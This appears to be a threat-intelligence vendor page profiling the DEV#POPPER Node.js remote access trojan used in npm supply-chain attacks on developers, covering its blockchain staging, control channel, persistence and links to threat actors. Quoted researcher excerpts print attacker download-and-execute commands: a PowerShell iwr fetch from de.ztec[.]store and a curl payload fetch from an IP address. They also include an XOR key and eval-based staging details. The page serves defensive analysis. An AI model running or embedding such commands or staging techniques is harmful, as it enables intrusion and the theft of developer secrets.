Loading malware…
DEV#POPPER is a cross-platform Node.js remote access trojan used in software supply-chain intrusions targeting developers and development environments. It has been observed delivered through compromised open-source packages and repositories, including malicious JavaScript implants that execute when a package is imported or when a developer opens a tainted workspace in Visual Studio Code. The malware has been linked to the PolinRider activity cluster and assessed as part of broader North Korean developer-targeting operations associated with Contagious Interview and Famous Chollima/Void Dokkaebi.
DEV#POPPER commonly appears as a multistage, heavily obfuscated JavaScript payload. Delivery chains observed for this malware use blockchain-backed staging across Tron, Aptos, and BNB Smart Chain to resolve and decrypt follow-on code, giving operators resilient payload hosting and the ability to rotate second stages without republishing the initial implant. Once active, the RAT establishes a Socket.IO-based remote-control channel, identifies the host, checks in with operator infrastructure, executes JavaScript or shell commands, retrieves additional code, uploads files, and performs file-management tasks. Reported variants also support multiple simultaneous operators through independent command queues.
Observed DEV#POPPER functionality includes host reconnaissance, collection of process and environment details, clipboard theft across Windows, macOS, and Linux, and broader post-compromise control of developer workstations. Persistence has been achieved by modifying developer-facing applications and tooling, including code editors, developer utilities, chat clients, desktop Git tooling, and the global npm CLI; some reporting also describes abuse of Node.js module search-order hijacking for persistence. Variants have shown environment-awareness and defense evasion by avoiding execution in CI/CD runners, build systems, and sandbox-like hosts, increasing the likelihood that the malware activates primarily on real developer endpoints.
DEV#POPPER has been observed alongside OmniStealer in the same campaigns, with the combined intrusion set focused on stealing credentials, browser data, wallet-related information, source-code access, and other developer secrets. Affected environments include local developer machines, CI runners, build systems, server-side rendering environments, and organizations whose trusted repositories or package releases were tampered with upstream.
Mallory pivots from this family to the IOCs, detections, and named campaigns that touch your stack, and pages you when something new lands.
1 distinct threat actor attributed by public researchers. Open in Mallory to see the full evidence chain and overlapping campaigns.
The malware, including a variant of the DEV#POPPER remote access trojan, retrieves encrypted payloads from blockchain transactions, decrypts them, and executes them on infected systems.
29 distinct techniques documented for this family, organized by ATT&CK tactic.
Earlier this week, I read a Socket blog about two compromised Joyfill beta releases. Joyfill is a legitimate digital form and PDF automation platform, and the poisoned versions contain malware that deploys a remote-access trojan (RAT).
The attackers downloaded and executed the script through PowerShell ... cmd.exe /c “powershell iwr -outf g.py hxxp://de.ztec[.]store:8000/www/run.py”
First, browser cookies were targeted. The attackers opened up a command prompt session through the Python backdoor script and changed directory to the default installation directory of Google Chrome: cmd.exe /c ...
The final recovered code can collect host information, establish a Socket.IO remote-control channel, execute supplied JavaScript or shell commands
The final "clientCode" payload is heavily obfuscated...
The hidden portion of the JavaScript code is heavily obfuscated and makes use of several obfuscation techniques ... Base64 Encoding ... Dynamic function and variable names ... Concatenation and split strings ... Prototyping obfuscation.
Two npm beta releases in the @joyfill namespace contain an import-time JavaScript implant that resolves encrypted code through Tron, Aptos, and BNB Smart Chain transactions.
The resulting code is over 500 lines long and is designed to ... monitor user activity through keylogging and clipboard tracking.
This information includes ... Hostname Platform (OS name) ... username, unique ID.
The resulting code is over 500 lines long and is designed to ... monitor user activity through keylogging and clipboard tracking.
If this step fails, it queries an Aptos account as a fallback to fetch the BSC transaction and, from it, decrypt and extract the JavaScript code and execute it.
A socket.io channel gives the actor interactive command execution, file upload and download, and clipboard access.
It sends a Windows Chrome user agent and the header Sec-V: A9-0135-3 in a request to /$/boot . It XOR-decrypts the response using ThZG+0jfXE6VAGOJ and calls eval() on the result.
Another function (“rt”) manages the downloading of next-stage payloads ... using a carefully crafted curl command to download the file ... curl -Lo ... hxxp://67.203.123[.]171:1244/pdown
59 indicators attributed across vendor reports, sandbox runs, and researcher write-ups. Full values are available in Mallory.
IPs, domains, and DNS infrastructure linked to this family.
File hashes (MD5, SHA-1, SHA-256) from samples and reports.
Other indicator types observed in public reporting.
9 sources tracked across advisories, community write-ups, and news. New activity surfaces here as Mallory finds it.
A malware family associated with malicious npm packages that deliver a Node.js remote access trojan. The recovered payloads use blockchain-based resolution and support remote control, execution of supplied JavaScript or shell commands, file upload, clipboard access, host reconnaissance, and modification of developer-tool files.
A Node.js remote-access trojan that establishes a Socket.IO remote-control channel, executes JavaScript or shell commands, uploads files, reads clipboard data, gathers host information, retrieves additional payloads, and persists by modifying developer-tool files such as VS Code-related modules, Discord Desktop, GitHub Desktop, and the global npm CLI.
A remote access trojan delivered via compromised Joyfill npm beta releases in a supply-chain incident.
A remote access trojan delivered via compromised open source repositories and JavaScript loaders in the PolinRider supply chain campaign, used to backdoor developer environments.
Match every observed IP, domain, and hash against your live telemetry.
Named campaigns wielding this family, with evidence pinned to each claim.
CVEs this family uses for access and lateral movement.
YARA, Sigma, Snort, and vendor rules, auto-deployed to your SIEM.
Every documented technique, ranked by evidence weight.
Reddit, Mastodon, and CTI community discussion around this family.